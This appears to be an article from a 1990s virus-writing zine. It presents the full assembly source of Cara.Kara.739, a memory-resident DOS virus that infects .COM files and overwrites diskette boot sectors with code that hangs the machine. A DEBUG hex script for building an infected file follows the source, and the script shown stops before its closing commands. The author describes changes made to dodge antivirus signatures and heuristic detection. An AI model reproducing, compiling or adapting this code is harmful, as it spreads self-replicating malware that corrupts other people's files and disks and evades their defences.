Cara.Kara.739 (ASM and DEBUG script)
hexfiles issue 1
Virus Name: Cara.Kara.739
The only reason I modified Cara.Standard.1024 is because I could not run it in any computer I have access to. Although a lot of changes had been made on the original virii, the functionality of the original routines had been retained.
The changes made on this variant are:
1. Use of 286 CPU instructions to shorten the virii a bit.
2. Removed immunization of boot sectors as it might create problems against a stealth virii.
3. Updated the boot virii checked for to those most reported in the wild, in the global perspective or in the Philippines.
4. Translated text in virii to Pilipino. As a result, infection recognition mark had been changed to KARA instead of CARA.
5. Removed retention of PSP as it is a waste of memory. Checks for program termination as well as Int 20 hook were also removed.
6. Removed one-byte padding of the original virii.
7. Instructions were implemented in a different way so that it would not be detected as Cara.Standard.1024.
8. Instructions that trigger heuristic flags were hidden or presented in a discreet way.
Regardless of the modifications made, this virii is still a Cara.
The source code below was compiled in A86 version 4.02 and an infected file is in the debug script that follows the program listing.
The source code was written in a way so that it could be compiled in most compilers available --- tasm and masm.
You can be lamer but don't be stupid. This is virus. ok?ok?ok?ok?
--- CARAKARA.ASM STARTS HERE -------------------------------------------
;-----------------------------------------------------------
; Cara.Kara.xxx
; Updated by Putoksa Kawayan
;
; HEX-FILES No. 1
; Manila, Philippines
;
;
; compile in a86 v4.02:
;
; a86 carakara.asm carakara.com
;
; can also be compiled in tasm 2.01 and masm 5.0. the length of the
; object code created by tasm and masm are different. masm's is a bit
; longer.
;
;-----------------------------------------------------
carakara segment para 'code'
assume cs:carakara,ds:carakara
org 0
_mem_need equ ((((persgen-_init)+15)/16)+1)
_vir_len equ (_conta-_init)
_messtart equ ((_txt_1-_mespop)+7c3eh)
_init: jmp persgen ;<--- replaced with mov si,xxxx
mov ax,100h ; by first generation routine
cwd ; xxxx modified somewhere else
mov di,ax ;
cld ; restore victim codes
movsw ;
movsw ;
movsw ;
movsw ;----------------
xchg dx,ax
push dx ;----------------
mov es,ax ; memory self recognition
add di,((61h*4)-(100h+8)) ; same as in cara.standard
mov cx,3*2 ; but 4 bytes short
repe scasw ;
jnz _init_2 ;----------------
xchg di,ax
mov ax,cs
mov es,ax
push ax ;----------------
mov cx,_mem_need ; make room for virii
mov ah,4ah ; and allocate mem
mov bx,-1 ;
int 21h ;
mov ah,4ah ;
sub bx,cx ;
int 21h ;
mov ah,48h ;
dec cx ;
mov bx,cx ;
int 21h ;----------------
mov cx,4
pop dx
push di
push ax
mov es,ax
dec ax
mov ds,ax
shl bx,cl
_temp_a:mov si,100h ; offset is modified somewhere
mov bp,si
add cx,cx
mov [di+1],cx ; set os as mcb owner
mov ds,dx
mov [di+2],ax ; reset top of mem
_init_1:movsw
cmp bx,di ; copy virii to top of mem
ja _init_1
call _mem_ck
pop bx
pop ds
mov ax,2163h ;----------------
call _savect ; save and reset
mov ax,offset _is_dos ;
call _setint ; int 13 and 21
mov ax,1362h ;
call _savect ;
mov ax,offset _is_dsk ;
call _setint ;----------------
_init_2:push cs
pop es
push cs
pop ds
_init_3:ret ; execute victim program
;---------------------------------------- virus signatures
;----------- offset,signature word
;------------------------------------
_vx_sig dw 066h,0ff25h ;sampo
dw 047h,0fecch ;nyb
dw 04bh,0d6ebh ;welcomb
dw 0a7h,0d3cdh ;antiexe
dw 04dh,04b22h ;stoned.angelina
dw 060h,04848h ;stoned.noint
dw 041h,03eafh ;quaint
dw 142h,01acdh ;stoned.michelangelo
dw 13dh,01acdh ;ripper
dw 0b0h,01acdh ;form
dw 19fh,00301h ;anticmos
dw 17fh,00301h ;stoned.standard
dw 0 ;---------------- end of sig
;--------------------------------------------------------------------
; if adding some more signatures, get a word value anywhere from
; offset 003e to 01fd of the boot sector. content of offsets 0002 to
; 003d, and 01fe to 01ff are preserved. if you get the sig from the
; preserved offsets, Cara.Kara will find the diskette as infected and
; will write a message popper on every fourth read from diskette.
; this will affect disk access and we don't want to do that.
;--------------------------------------------------------------------
_savect:mov si,ax ;----------------
mov cl,2 ; this is from the original
shl ax,cl ; modified it a bit to hide
and ax,3fch ; it from avs
xchg si,ax
mov cl,6 ; save interrupt
shr ax,cl
and ax,3fch
xchg di,ax
mov ax,[di]
mov [si],ax
mov ax,[di+2]
mov [si+2],ax
ret
_setint:cli ; this is mine
mov [di],ax ; hook interrupt routine
mov [di+2],bx
sti
ret
_mem_ck:int 12h ; from original
and al,15 ; boot vx memory check
jz _init_3
mov ah,9
mov dx,offset _txt_3
add dx,bp
int 21h
mov dx,offset _txt_2
add dx,bp
int 21h
ret
_is_dsk:pushf ; based on original
cmp dl,2 ; modified it a bit
jnb _disk_4
cmp ah,2 ; read of dbs of a: and b: only
jne _disk_4
cmp byte ptr cs:[_conta],4 ; counter carried over from orig
jnb _disk_1
inc byte ptr cs:[_conta]
jmp short _disk_4
_disk_1:pusha
push ds
push es
push cs
pop ds
push cs
pop es
mov bx,offset _boot
sub dh,dh
mov ah,1 ; read boot sector
call _13_int
jc _disk_3
mov si,offset _vx_sig ; check if dbs is infected
_disk_2:lodsw
or ax,ax ; end of vx sig?
jz _disk_3
xchg di,ax ; load di with location of sig
lodsw ; get sig word
cmp ax,[bx+di] ; is diskette infected?
jne _disk_2
mov word ptr [bx],3cebh ; set jumper to mess popper
lea di,[bx+3eh]
mov si,offset _mespop
mov cx,(1feh-3eh)
repe movsb ; copy mess popper
mov ah,2
call _13_int ; write mess popper to disk
_disk_3:sub ax,ax ; reset disk
mov [_conta],al ; set counter to 0
int 62h
pop es
pop ds
popa
_disk_4:popf
int 62h ; execute original read call
retf 2 ; return to caller
_start db 0e9h ; my jumper
_temp_b dw 'yM' ; jmp displacement, modified....
db 'KARA',26 ; my sig
_mespop:cli ; this is my message popper
xor ax,ax ; or trojan to others
mov ss,ax
mov sp,7c00h
sti
push ss
pop ds
mov si,_messtart
mov bh,al
mov ah,0eh
_pop_a: lodsb
cmp al,'$' ; end of message
_pop_b: je _pop_b ; infinite loop!!!!!!
int 10h
jmp _pop_a
;-----------------------------------
;--- mess popper message -----------
;-----------------------------------
_txt_1 db 'Ang disk mo ay inpektado',13,10
db 'I-boot mo uli'
_txt_2 db 13,10,10
db 'Klandistino',13,10
db 'Awto',13,10
db 'Reproduktibo',13,10
db 'Antibayrus',13,10,2,13,10,'$'
_is_err:mov al,0 ; int 24 handler
iret
;-----------------------------------
;--- boot virus in memory message --
;-----------------------------------
_txt_3 db 'May bayrus sa memorya$'
_13_int:mov cx,4 ; int 13 routine
mov al,1
add ah,al
_13_a: push ax
push cx
mov cl,1
int 62h
pop cx
pop ax
jnc _13_b
push ax
mov ah,ch
int 62h
pop ax
loop _13_a
_13_b: ret
_save db 'HEXFILES' ; this should be 8 bytes
_is_dos:pushf ; my file infector
cmp ah,4bh ; exec
je _gro_1
cmp ah,3dh ; file open
je _gro_1
cmp ah,43h ; file attribute
je _gro_1
cmp ah,56h ; rename file
je _gro_1
popf
int 63h ; execute int 21
retf 2 ; return to caller
_gro_1: pusha
push ds
push es
mov di,dx
push ds
pop es
sub al,al ; get end of file spec
_gro_2: scasb
jnz _gro_2
mov ax,es:[di-4] ; com checker
or ax,2020h ; only checks if .co
cmp ax,'oc'
jz _gro_3
jmp _gro_8
_gro_3: push ds
sub ax,ax
mov ds,ax
mov ax,2461h ; save and reset int 24
call _savect ;
mov bx,cs ;
mov ax,offset _is_err ;
call _setint ;
pop ds
mov ax,4300h ; get file attribute
int 63h
mov bx,cx
sub cx,cx
mov ax,4301h ; clear file attribute
int 63h
jc _gro_7
push ds
push dx
push bx
mov ax,3d02h ; open file
int 63h
jc _gro_6
push cs
pop ds
xchg bx,ax ; prepare for infect check
mov cx,8
mov dx,offset _save
mov ah,3fh
int 63h
mov si,dx
mov ax,[si+3] ; is file infected?
cmp ax,'AK' ; check if KARA is in file's
jne _gro_4 ; 4th to 7th byte
mov al,'R'
cmp [si+5],ax
je _gro_5
_gro_4: sub cx,cx
mov dx,cx
mov ax,4202h ; get file length
int 63h
cmp ax,4096 ; 4 kb?
jb _gro_5
add ax,100h ; set up offsets
mov word ptr ds:[_temp_a+1],ax ; start of virii
sub ax,103h
mov [_temp_b],ax ; jump displacement
add ax,((offset _save)+103h)
mov word ptr ds:[_init+1],ax ; location of victim code
mov cx,_vir_len
mov ah,40h ; write virii
cwd
int 63h
mov cx,dx
mov ax,4200h
int 63h
mov ah,40h ; write jumper and sig
mov cl,8
mov dx,offset _start
int 63h
mov ax,5700h ; preserve file time and date
int 63h
inc ax
int 63h
_gro_5: mov ah,3eh ; close file
int 63h
_gro_6: pop cx
pop dx
pop ds
mov ax,4301h ; restore attribute
int 63h
_gro_7: sub ax,ax
mov ds,ax
mov ax,6124h ; restore int 24
call _savect
_gro_8: pop es
pop ds
popa
popf
int 63h ; execute int 21
retf 2 ; return to caller
_conta db ? ; disk read counter
_boot db 200h dup (?) ; read boot buffer
;---------------------------------------
;--- first generation ------------------
;---------------------------------------
; first generation codes
; is a simplified version
; of _init routine
;
persgen:mov byte ptr cs:[100h],0beh ; put mov si,xxxx opcode to
mov bx,-1 ; virii start, operand is set
mov ah,4ah ; by virii on infection
int 21h
mov cx,_mem_need ; we need a separate first
sub bx,cx ; generation because of
mov ah,4ah ; the structure of the
int 21h ; virii entry point.
dec cx
mov bx,cx
mov ah,48h
int 21h
mov es,ax
dec ax
mov ds,ax
mov word ptr ds:[1],8
push cs
pop ds
mov word ptr ds:[2],ax
xor di,di
mov si,100h
mov cx,offset persgen
cld
rep movsb
push es
mov ax,3521h
int 21h
push es
push bx
mov ax,3513h
int 21h
xor ax,ax
mov ds,ax
mov ds:[62h*4],bx
mov ds:[(62h*4)+2],es
pop word ptr ds:[63h*4]
pop word ptr ds:[(63h*4)+2]
pop ds
cli
mov dx,offset _is_dos
mov ax,2521h
int 21h
mov dx,offset _is_dsk
mov ax,2513h
int 21h
sti
mov ax,4c00h
int 21h
carakara ends
end _init
--- CARAKARA.ASM ENDS HERE ---------------------------------------------
This is a file infected by Cara.Kara.739.
To create an excutable program, cut the debug script below and save it as carakara.scr. Then type
debug < carakara.scr
The file carakara.com would be created.
This is a file infected with a virii so be careful.
--- CARAKARA.SCR STARTS HERE -------------------------------------------
N CARAKARA.COM
E 0100 E9 85 13 4B 41 52 41 1A 0A 4D 61 62 75 68 61 79
E 0110 21 0D 0A 0A 54 68 69 73 20 69 73 20 43 61 72 61
E 0120 2E 4B 61 72 61 2E 37 33 39 20 76 69 72 75 73 20
E 0130 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20 66 72
E 0140 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70 69 6E
E 0150 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74 6F 20
E 0160 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45 58 2D
E 0170 46 49 4C 45 53 20 4E 6F 2E 20 31 0D 0A 0A 48 45
E 0180 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75 74 6F
E 0190 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72 65 20
E 01A0 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C 65 20
E 01B0 66 6F 72 20 61 6C 6C 20 61 63 74 75 61 6C 2C 20
E 01C0 69 6D 70 6C 69 65 64 20 61 6E 64 0D 0A 69 6D 61
E 01D0 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20 62 72
E 01E0 6F 75 67 68 74 20 61 62 6F 75 74 20 62 79 20 74
E 01F0 68 65 20 75 73 65 2C 20 6D 69 73 75 73 65 20 6F
E 0200 72 20 6E 6F 6E 2D 75 73 65 20 6F 66 20 74 68 69
E 0210 73 20 76 69 72 69 69 2E 0D 0A 41 6E 79 62 6F 64
E 0220 79 20 77 68 6F 20 65 78 65 63 75 74 65 73 20 74
E 0230 68 69 73 20 76 69 72 69 69 20 62 65 61 72 73 20
E 0240 66 75 6C 6C 20 72 65 73 70 6F 6E 73 69 62 69 6C
E 0250 69 74 79 20 66 6F 72 20 61 6E 79 20 75 6E 74 6F
E 0260 77 61 72 64 0D 0A 69 6E 63 69 64 65 6E 74 20 74
E 0270 68 61 74 20 6D 61 79 20 6F 63 63 75 72 2E 0D 0A
E 0280 0A 54 68 69 73 20 76 69 72 69 69 20 69 73 20 73
E 0290 74 72 69 63 74 6C 79 20 66 6F 72 20 65 64 75 63
E 02A0 61 74 69 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61
E 02B0 72 63 68 20 70 75 72 70 6F 73 65 73 20 6F 6E 6C
E 02C0 79 2E 0D 0A 0A 24 08 20 1A 20 20 20 20 20 20 20
E 02D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0320 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0330 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0340 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0370 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0380 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0390 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0400 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0420 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0430 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0440 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0460 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0480 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0500 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0520 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0530 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0540 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0550 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0570 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0590 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0600 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0610 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0620 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0630 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0640 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0650 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0660 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0670 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0680 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0690 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06C0 20 20 20 20 20 20 20 20 20 BA 07 01 B4 09 CD 21
E 06D0 B4 4C CD 21 20 20 20 20 20 20 20 20 20 20 20 20
E 06E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0700 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0710 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0720 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0730 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0740 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0760 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0770 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0780 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0790 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0800 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0820 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0830 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0850 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0860 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0870 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0880 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0890 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0900 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0910 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0920 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0930 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0940 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0950 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0960 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0970 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0980 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0990 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 09F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0A90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AA0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AB0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AC0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AD0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0AF0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0B90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BA0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BB0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BC0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BD0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0BF0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0C90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CA0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CB0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CC0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CD0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0CF0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0D90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DA0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DB0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DC0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DD0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0DF0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0E60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
